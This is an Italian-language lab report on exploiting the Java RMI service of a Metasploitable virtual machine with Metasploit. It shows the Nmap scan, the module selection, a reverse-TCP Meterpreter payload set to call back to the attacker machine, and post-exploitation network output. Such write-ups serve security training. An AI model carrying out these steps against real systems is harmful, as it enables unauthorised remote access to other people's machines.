

Report sullo Sfruttamento di Vulnerabilità Java RMI su Metasploitable con Metasploit

Data: 16 Maggio 2025

Autore: Stefano Gugliotta

Introduzione:

Il presente report documenta l'esecuzione di un test di penetration testing volto a sfruttare una vulnerabilità presente nel servizio Java Remote Method Invocation (RMI) in esecuzione sulla porta 1099 di una macchina virtuale Metasploitable. L'obiettivo principale era ottenere una sessione remota Meterpreter sulla macchina vittima utilizzando il framework Metasploit e successivamente raccogliere informazioni cruciali sulla sua configurazione di rete.

Fase 1: Preparazione dell'Ambiente e Verifica della Connettività

Prima di procedere con l'attacco, è stata dedicata attenzione alla corretta configurazione dell'ambiente di laboratorio. La macchina attaccante, Kali Linux, è stata configurata con l'indirizzo IP statico 192.168.11.111, rimuovendo il vecchio ip statico 192.168.1.25 precedentemente impostato.

Analogamente, la macchina vittima, Metasploitable, è stata impostata con l'indirizzo IP statico 192.168.11.112, acquisito dopo un riavvio per assicurare l'applicazione delle impostazioni, ha confermato questo indirizzo.

```
(kali@kali)-[~]
$ sudo ip addr add 192.168.11.111/24 dev eth0

(kali@kali)-[~]
$ sudo ip link set dev eth0 up

(kali@kali)-[~]
$ sudo ip route add default via 192.168.11.1 dev eth0

(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:b4:a1:05 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet 192.168.11.111/24 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::b4f5:7e3e:3e3c:28d5/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
$ sudo ip addr del 192.168.1.25/24 dev eth0

(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:b4:a1:05 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::b4f5:7e3e:3e3c:28d5/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.1.255
gateway 192.168.11.1
```

Successivamente, è stata verificata la connettività di base tra le due macchine utilizzando il comando ping. L'esito positivo del ping da Kali a Metasploitable e viceversa (come documentato nello screenshot) ha assicurato che le macchine

potessero comunicare a livello di rete IP, prerequisito fondamentale per le fasi successive dell'esercizio.

```
(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=5.81 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.163 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.219 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.168 ms
^C
  192.168.11.112 ping statistics:
  4 packets transmitted, 4 received, 0% packet loss, time 3047ms
 rtt min/avg/max/mdev = 0.163/1.590/5.813/2.437 ms
```

Fase 2: Identificazione della Vulnerabilità con Nmap

Sebbene la traccia dell'esercizio indicasse già la presenza di un servizio vulnerabile sulla porta 1099 (Java RMI), è stata eseguita una scansione di base con Nmap per confermare il servizio in esecuzione sulla macchina vittima. Il comando utilizzato è stato:

```
(kali@kali)~$ nmap -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 04:08 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00023s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?         Netkit rshd
514/tcp   open  shell          GNU Classpath grmiregistry
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:83:4E:B8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.69 seconds
```

`nmap -sV 192.168.11.112`

Lo screenshot dell'output di Nmap ha mostrato che un servizio, identificato come un server RMI Java, era effettivamente in ascolto sulla porta 1099 dell'indirizzo IP 192.168.11.112. Questa informazione ha confermato la presenza del target vulnerabile.

Fase 3: Sfruttamento della Vulnerabilità con Metasploit

Con la conferma del servizio vulnerabile, è stato avviato il framework Metasploit (msfconsole). All'interno della console di Metasploit, è stata utilizzata la funzionalità di ricerca per identificare gli exploit relativi a Java RMI:

`search java rmi`

Lo screenshot dell'output della ricerca ha mostrato una lista di exploit potenzialmente utilizzabili. Basandosi sulla natura della vulnerabilità (un server RMI insicuro), è stato selezionato

l'exploit `exploit/multi/misc/java_rmi_server` (identificato tipicamente con il numero 8 nella

```
msf6 > search java rmi

Matching Modules
=====
#  Name
-  -
0  exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
1  exploit/multi/http/crushftp_rce_cve_2023_43177
2  \ target: Java
3  \ target: Linux Dropper
4  \ target: Windows Dropper
5  exploit/multi/misc/java_jmx_server
6  auxiliary/scanner/misc/java_jmx_server
7  auxiliary/gather/java_rmi_registry
8  exploit/multi/misc/java_rmi_server
9  \ target: Generic (Java Payload)
10 \ target: Windows x86 (Native Payload)
11 \ target: Linux x86 (Native Payload)
12 \ target: Mac OS X PPC (Native Payload)
13 \ target: Mac OS X x86 (Native Payload)
14 auxiliary/scanner/misc/java_rmi_server
15 exploit/multi/browser/java_rmi_connection_impl
16 exploit/multi/browser/java_signed_applet
17 \ target: Generic (Java Payload)
18 \ target: Windows x86 (Native Payload)
19 \ target: Linux x86 (Native Payload)
20 \ target: Mac OS X PPC (Native Payload)
21 \ target: Mac OS X x86 (Native Payload)
22 exploit/multi/http/jenkins_metaprogramming
23 \ target: Unix In-Memory
24 \ target: Java Dropper
25 exploit/linux/misc/jenkins_java_deserialize
26 exploit/linux/http/kibana_timelion_prototype_pollution_rce
27 exploit/multi/browser/firefox_xpi_bootstrap_addon
28 \ target: Universal (JavaScript XPCOM Shell)
29 \ target: Native Payload
30 exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315
31 exploit/multi/http/torchserver_cve_2023_43654
32 exploit/multi/http/totaljs_cms_widget_exec
33 \ target: Total.js CMS on Linux
34 \ target: Total.js CMS on Mac
35 exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
36 exploit/multi/misc/vscode_ipynb_remote_dev_exec
37 \ target: Windows
38 \ target: Linux File-Dropper
```

lista). Questo exploit è noto per sfruttare configurazioni predefinite insicure nei server Java RMI che permettono l'esecuzione di codice arbitrario.

Una volta selezionato l'exploit, sono state visualizzate le sue opzioni utilizzando il comando `show options`. Lo screenshot di questo output ha mostrato i parametri configurabili, tra cui RHOSTS (l'indirizzo della vittima), RPORT (la porta del servizio RMI), LHOST (l'indirizzo dell'attaccante) e LPORT (la porta in ascolto sull'attaccante per la connessione reverse).

Le opzioni sono state quindi configurate con i valori appropriati per il nostro ambiente di laboratorio:

```
set RHOSTS 192.168.11.112
```

```
set RPORT 1099
```

```
set PAYLOAD java/meterpreter/reverse_tcp
```

```
set LHOST 192.168.11.111
```

```
set LPORT 4444
```

```
msf6 > use 8
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                         |
|-----------|-----------------|----------|-------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait |
| RHOSTS    |                 | yes      | The target host(s), see https://doc |
| RPORT     | 1099            | yes      | The target port (TCP)               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface |
| SRVPORT   | 8080            | yes      | The local port to listen on.        |
| SSL       | false           | no       | Negotiate SSL for incoming connecti |
| SSLCert   |                 | no       | Path to a custom SSL certificate (d |
| URIPATH   |                 | no       | The URI to use for this exploit (de |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                             |
|-------|-----------------|----------|-----------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be |
| LPORT | 4444            | yes      | The listen port                         |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
```

Infine, l'exploit è stato lanciato con il comando `exploit`. Lo screenshot successivo ha catturato il tentativo di sfruttamento. In caso di successo, Metasploit ha stabilito una connessione con il server RMI vulnerabile e ha inviato il payload Meterpreter.

Fase 4: Raccolta delle Evidenze con Meterpreter

Al termine dello sfruttamento riuscito, è stata ottenuta una sessione Meterpreter sulla macchina vittima, come indicato dal cambio del prompt in `meterpreter >`. A questo punto, sono stati eseguiti i comandi richiesti per raccogliere le evidenze:

Configurazione di Rete: Il comando `ipconfig` (o `ifconfig` a seconda della configurazione di Metasploitable) è stato utilizzato per visualizzare la configurazione di rete della macchina vittima. Lo screenshot dell'output di questo comando ha mostrato dettagli come l'indirizzo IP (192.168.11.112), la subnet mask, l'indirizzo MAC e, potenzialmente, l'indirizzo del gateway e i

```
meterpreter > ipconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe83:4eb8
IPv6 Netmask : ::
```

server DNS configurati sulla macchina Metasploitable.

```
meterpreter > route

IPv4 network routes

  Subnet      Netmask      Gateway      Metric  Interface
  -----
  127.0.0.1    255.0.0.0    0.0.0.0
  192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes

  Subnet      Netmask      Gateway      Metric  Interface
  -----
  ::1          ::           ::
  fe80::a00:27ff:fe83:4eb8 ::           ::
```

Tabella di Routing: Il comando *route* è stato eseguito per visualizzare la tabella di routing della macchina vittima. Lo screenshot di questo output ha mostrato le rotte di rete attive sulla macchina Metasploitable, indicando come il traffico di rete viene instradato verso diverse destinazioni. Questo include la rotta predefinita (se configurata) e le rotte specifiche per le reti locali o remote.

Conclusioni:

L'esercizio ha dimostrato con successo lo sfruttamento di una vulnerabilità nel servizio Java RMI in esecuzione sulla macchina Metasploitable utilizzando il framework Metasploit. Attraverso una serie di passaggi che includono la preparazione dell'ambiente, la verifica della connettività, l'identificazione del servizio vulnerabile, la configurazione e l'esecuzione di un exploit specifico, è stato possibile ottenere una sessione remota Meterpreter.

Una volta ottenuta la sessione, sono state raccolte le evidenze richieste sulla configurazione di rete e sulla tabella di routing della macchina vittima, fornendo informazioni cruciali sulla sua infrastruttura di rete. Gli screenshot acquisiti durante ogni fase hanno documentato in modo visivo il processo e i risultati ottenuti.